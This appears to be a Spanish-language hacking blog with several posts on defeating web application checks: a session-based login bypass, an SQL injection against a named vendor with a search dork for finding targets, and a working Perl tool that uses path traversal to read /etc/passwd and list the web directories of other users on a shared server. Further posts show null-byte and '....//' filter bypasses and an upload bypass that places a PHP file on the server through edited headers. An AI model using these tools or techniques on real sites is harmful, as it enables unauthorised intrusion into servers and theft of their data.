Mostrando entradas con la etiqueta bypass. Mostrar todas las entradas
Mostrando entradas con la etiqueta bypass. Mostrar todas las entradas

sábado, 25 de febrero de 2012

Errores de Comprobacion [Bypass] PoC

Bueno gente, hace rato que no publico por falta de tiempo o hueva, pero hoy les tengo un pequeño PoC muy util a lo que son algunos de los errores de comprobación que están en nuestro alcance para cambiar el flujo del programa.

Partimos con un simple login

y tenemos como PoC un simple form


Ingrese sus datos para Iniciar Sesión Nombre de Usuario Contraseña:
Bien, Ahora revisemos algunos detalles del archivo "comprueba.php".

session_start();
if($array["password_usuario"]==md5($pass) ){
/* Comprobamos que el password encriptado en la BD coincide con el password que nos han dado al encriptarlo. Recuerda usar la misma semilla para encriptar los dos passwords. */
$SESSION["login"]=$login;
$SESSION["id"]=$array["id"];
session_register("SESSION");
header("location:formulario.php");
} else {
echo "
Password Incorrecto
"; } ?>

Crea las sessiones y redirecciona al archivo "formulario.php" que lógicamente devera ser al panel de administracion


session_start();
if(!isset($SESSION)){
header("location: admin.html");
} else {
echo "Welcome $user";
}

bien, es un login facilmente de bypassear porque solo nos pide si "X" variable existe



Recuerden, es solo el PoC, con otro tipo de archivos se hacen varias cosas controlando el flujo y accediendo ala función de "X".

Espero les haya servido este peque tuto ^^

Salu2...

sábado, 7 de enero de 2012

[Webapps] - ITindustries [SQLi inject Vulnerability] [Bypassing]

hace rato que no posteo un 0day así que decidí compartir el ultimo que saque porque ando
feliz!! :DDD!!!


 ; Distribuidor : ITindustries

; Path: id=x/*![explotación-bypass]*/

;Dork: intext:"by ITindustries.com" inurl:"id=*"

; Author: b4nz0k



; Nota: Este 0day fue necesario un pequeño bypass



Al parecer nos bota con una injeccion comun "&&", y lo bypasseamos con /*!*/



No se guíen por las t00ls.

Salu2...

miércoles, 14 de diciembre de 2011

[Bypass] Users to Host perl v1.2


La vez anterior publique algo de bypass en los usuarios de algun servidor y para facilitarnos las cosas me hice una t00l en perl que nos ahorrara mucho tiempo, para hacer una búsqueda y saber donde tenemos permisos.

Creo que es la primera t00l de su tipo,pero no estoy seguro, ya que no e visto alguna para esta función y pues se me ocurrió hacerla.


Aquí una Muestra de el funcionamiento de la herramienta


./script.pl [Web] [Directorio_web] [Archivo_a_buscar]

[Directorio_web] Es La Url de el Disclosure

[Directorio_web] Es El directorio de la web que se va a buscar, este puede ser "www", "htdocs", "public_html", etc...

[Archivo a Buscar]
Es Opcional, asi que no es necesario agregarlo a menos que desees hacer una busqueda mas personalizada



Vemos que nos Devuelve los usuarios junto a los paths de los usuarios vulnerables

Ya después dependerá de vosotros para hacer lo que sigue...



use HTTP::Request;
use LWP::UserAgent;

my $browser = LWP::UserAgent->new();
      
sub banner { 
 print "
 
   _                 _        _       
  |_  \/|_)|_| _  _  o __ (_|   |_|/ \ _ _|_
  |_) / |    |_> _>  | | |__|   | |\_/_>  |_
 
   C o d e d  by  b 4 n z 0 k
 
 * Modo de Uso :
 * perl script.pl [Web] [Carpeta_web] [path_destino(Opcional)]\n
 *\tperl script.pl www.web.com/archivo.php?disclosure= htdocs
 ";
 
 }

 $url = $ARGV[0]; # print  "$vuln\n";
 
  unless ($url) { &banner; }

 $home = $ARGV[1]; # print  "$home\n";
 $dr = "home/"; #Esta Parte La deves de cambiar Manualmente dependiendo la informacion de "/etc/passwd"
 $pt = "../../../../";
 #$pt = "....//....//....//....//....//....//....//....//....//";
 $bp = "";
 @usuarios;
 @vulnerados;
 $archivo = $ARGV[2];
 
 unless ($ARGV[2]) {
  
   $archivo1 = "/index.php";
   $archivo2 = "/index.html";
  }

  
  $url  = "http://" . $url if $url !~ m/^http\:\/\//;
  if ($url =~ m/^http\:\/\/([a-zA-Z0-9-.]+)\/(.*)/) 
  {   $host = $1; $path0 = $2; }

 $path = $url . $path.  $pt . $pt . $pt . "etc/passwd" . $bp;
  print "$path\n";
 my $request = $browser->get($path);
 my $content = $request->content;
      
#print "$content\n";
if ($content =~ m/(.*):x:(.*):(.*):(.*):\/bin/g) {
while ($content =~ m/(.*):x:(.*):(.*):(.*):\/bin/g ) 
{ #print $1 . "\n"; 
 push (@usuarios,$1); # Esto tambien puede cambiar el $1
} } else { print "\n[*] Error En la Injeccion.\n\n"; exit; }
&banner;
print "\n\n[*] # Ju4ck34ndo [ Server * $host ] d3sd3 d3ntr0 #\t[*]\n\n";
 
foreach $n (@usuarios) {

 $path2 = $url .  $pt . $pt . $pt . $bp . $pt . $pt . $pt . $dr . $n . "/" . $home;
# print "$path2\n";
unless ($ARGV[2]) {

  $path_g=$path2 . "/index.php";
  &requestt($path_g);
  
  $path_g=$path2 . "/index.html";
  &requestt;
  
  }
 if ($ARGV[2]) {
 $path_g = $path2 . $archivo;
 &requestt($path_g); }
}
sub requestt {
 
  my $request2 = $browser->get($path_g);
  my $content2 = $request2->content;
  
 #  print "$content2\n"; m/failed to open stream/
   if ($content2 =~ m/\$(.*)/) 
    {
     print "[#- pl0p -#]\t\ŧ# - [ $n ] - #\n";
     push (@vulnerados,$path_g);
    }
   #   else { print "# 3Rr0r # [$n]\t$path_g\n"; }
 }
print "\n\n\t[ # - Webs Con Bypass de Permisos - # ]\n\n";
foreach $n (@vulnerados)
{
 print "[*] $n\n\n";
 }

lunes, 28 de noviembre de 2011

Sin Permisos? lol [ Atacando desde Dentro ]

Hola!! un saludo a todos, hace rato que no publico y quise hacerlo por primera vez en mucho tiempo, espero y les guste.



Cuando Tenemos algún Disclosure lo primero que hacemos es visualizar el archivo /etc/passwd




Y por lo tanto visualizaremos los demás archivos de la web que usualmente serian los archivos de configuracion

Haremos algo mas que solo visualizar esos archivos...

Supongamos que el Servidor Tiene sus paginas de este modo

www.web1.com  >>  Aquí esta el Disclosure
www.web2.com
www.web3.com >> Aquí Trataremos de entrar (www.web3.com no es vulnerable por si sola)
www.web4.com 
www.web5.com


/etc/passwd

web1:x:30073:30036::/home/web1:/bin/bash
web2:x:30075:30037::/home/web2:/bin/bash
web3:x:30076:30038::/home/web3:/bin/bash
web4:x:30098:30039::/home/web4:/bin/bash
web5:x:30099:30040::/home/web5:/bin/bash

Si el disclosure esta en /home/web1 tratemos de acceder a otra web del mismo servidor

Vuln=/home/web3/htdocs/index.php



Si el Archivo esta vacío como en mi caso, no te decepciones intenta con directorios default como:
"www","htdocs","public_html","web",etc...

Vuln=/home/web3/www/index.php





Listo!! Discourse desde una web interna.

Si no te funciona significa que los permisos están mejor administrados, pero no te desanimes ya que hay muchos servidores con esta vulnerabilidad.


Al parecer tiene instalado WordPrees.
 



Listo!!, creo que con esto ya queda mas claro ^^.


Desde Una Shell Update

Desde un archivo en el servidor ya es mas fácil hacer todo el trabajo que estamos haciendo desde un disclosure.

Normalmente siempre revisamos los dominios y permisos que tenemos desde la misma web y cuando comúnmente nos encontramos con esto damos por perdidos los permisos de los demás dominios.


Ahora aplicamos lo anterior modificando una variable GET


Listo!!, espero les haya gustado este peque tuto ^^


Sin Permisos?? lol

jueves, 14 de abril de 2011

Bypass Filtros extensiones (RFD, LFI)

Estaba con un amigo juackeando una web nada en particular, pero me di cuenta de algo...
Cuando el archivo elegía los archivos a incluir , era normal..., parecía bien filtrado el archivo.



Despues me puse a pensar como podria estar codeado el sourse, y llegue a la conclusión de que muchos programadores aceptan determinadas extensiones.

El Sourse no Filtrado Correctamente

#łł Visualizar Archivo łł#

@?php
$permitidas[0]='doc';
$permitidas[1]='DOC';
$permitidas[2]='pdf';
$permitidas[3]='PDF';
$permitidas[4]='docx';
$permitidas[5]='DOCX';
$permitidas[6]='rar';
$permitidas[7]='RAR';
$permitidas[8]='zip';
$permitidas[9]='ZIP';
$permitidas[10]='mpg';
$permitidas[11]='xls';
$permitidas[12]='XLS';
$permitidas[13]='pps';
$file=$_GET['archivo'];
$flag=0;
for($i=0;$i<count($permitidas);$i++)
if(substr($file, -3)==$permitidas[$i])
$flag=1; //print $file;
if($flag)
{
$nombre=explode("/",$file);
$nombrear=$nombre[count($nombre)-1];
// fix for IE catching or PHP bug issue
header("Pragma: public");
header("Expires: 0"); // set expiration time
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");

header("Content-type: application/octet-stream\n");
header("Content-Disposition: attachment; filename=\"".$nombrear."\"\n");
header("Content-length: " . filesize($file) . "\n");
$fp=fopen("$file", "r");
fpassthru($fp);
}
?@

Con el Código llegamos a la conclusión de que el programador prepara un array para guardar todas las extensiones y usa un blucle "For" y un condicional "IF" para comprobar si el archivo seleccionado es igual al array que serian las extensiones permitidas.

Aqui el Bypass



Bien ,llegando a la conclusión de que incluimos el archivo /etc/passwd no tiene la extensión del array , así que le agregamos un "carácter nulo" en "hexadecimal" con la "extensión permitida" para consultar que seleccione el archivo e indicando que la extensión sea una de las permitidas.



Explotación



Espero que les halla servido este peque bypass ^<^.

martes, 5 de abril de 2011

Bypass Filtros str_replace (LFI, RFD)

Explorando por la net me encontré un código de descarga filtrado para que el usuario no baje información sensible, pero no esta tan bien filtrado.

La Primera descarga pense que el archivo estaba filtrado correctamente.




@?

$file = $_GET['f'];
$file = str_replace( "../", "", $file); #- Aquí nuestro filtro que remplaza
$path="./down"; # cuando queremos subir un directorio
$url = $path."/".$file;
header ("Content-Disposition: attachment; filename=".$file." ");
header ("Content-Type: application/octet-stream");
header ("Content-Length: ".filesize($url));
?@
-------------------------------------------


El codigo nos prohíbe subir directorios con "../" ,
pero que pasa si lo cambiamos por
"....//" ?



Espero que este peque bypass les sirva de algo ^^.

domingo, 3 de abril de 2011

Bypass Uploader

Un Upload no es una vulnerabilidad, pero lo considero un gran error del Administrador.

Porque?
un usuario con acceso a un upload mal filtrado puede
fácilmente subir un archivo malicioso al servidor perjudicando ala web,
o en casos graves a todo el Servidor.

Empezamos codeando nuestro Uploader


upload.php


@form action="subearchivo.php" method="post" enctype="multipart/form-data"@

Campo de tipo texto:@br@

@input@@ type="text" name="cadenatexto" size="20" maxlength="100"@@br@
@input@@ type="hidden" name="MAX_FILE_SIZE" value="100000"@@br@

Subir Archivo:@br@

@input@> name="userfile" type="file"@@br@
@input@>type="submit" value="Enviar"@@br@
<@/form@>

----------------------------------------------------------
subearchivo.php

@? //tomo el valor de un elemento de tipo texto del formulario
$cadenatexto = $_POST["cadenatexto"];
echo "Escribió en el campo de texto: " . $cadenatexto . "<@br@><@br@>";
//datos del arhivo $nombre_archivo = $HTTP_POST_FILES['userfile']['name'];
$tipo_archivo = $HTTP_POST_FILES['userfile']['type'];
$tamano_archivo = $HTTP_POST_FILES['userfile']['size'];
//compruebo si las características del archivo son las correctas
if (!((strpos($tipo_archivo, "gif") || strpos($tipo_archivo, "jpeg")) && ($tamano_archivo < 100000)))
{
//Imprime en Pantalla
echo "La extensión o el tamaño de los archivos no es correcta. <@br@><@br@>Se permiten archivos .gif o .jpg
se permiten archivos de 100 Kb máximo.";

}else{
//Si se sube el archivo con éxito
if (move_uploaded_file($HTTP_POST_FILES['userfile']['tmp_name'], $nombre_archivo))

{
//Imprime en Pantalla
echo "El archivo ha sido cargado correctamente.";
}

//al contrario
else
{
//Imprime en Pantalla
echo "Ocurrió algún error al subir el fichero. No pudo guardarse.";
} }
?@
Recuerden quitar los "@" .


Analizando el uploader nos damos cuenta que el archivo filtra el tipo de archivo permitido que seria "gif" y "jpeg".


Como lograr subir algun archivo de otra extensión si esta filtrando las extinciones permitidas?




Transacciones HTTP


Una transacción HTTP está formada por un encabezado seguido, opcionalmente, por una línea en blanco y algún dato. El encabezado especificará cosas como la acción requerida del servidor, o el tipo de dato retornado, o el código de estado.


Para poder bypassear el uploader tenemos que controlar las cabeceras para cambiar la información al final.


Para eso Usare un Add-ons de Mozilla (Live HTTP Headers) para modificar las cabeceras al subir un archivo al servidor. Cuando lo Tengamos se auto-capturaran las cabeceras de las peticiones HTTP, una vez terminada la captura podemos Repetir las peticiones para modificarlas.

Herramientas > Live HTTP Headers




Una vez dentro de la edición de las cabeceras, podremos modificarlas.



Content-Disposition: form-data; name="uploadfile"; filename="fichero_1.jpg"
°
Content-Disposition: form-data; name="uploadfile"; filename="fichero_1.php"


Aquí nos muestra la información del formulario que es el nombre del input del upload y el nombre del archivo , modificamos filename para renombrar el archivo.



Una vez subido el archivo hay que averiguar donde esta alojado el archivo y acceder a el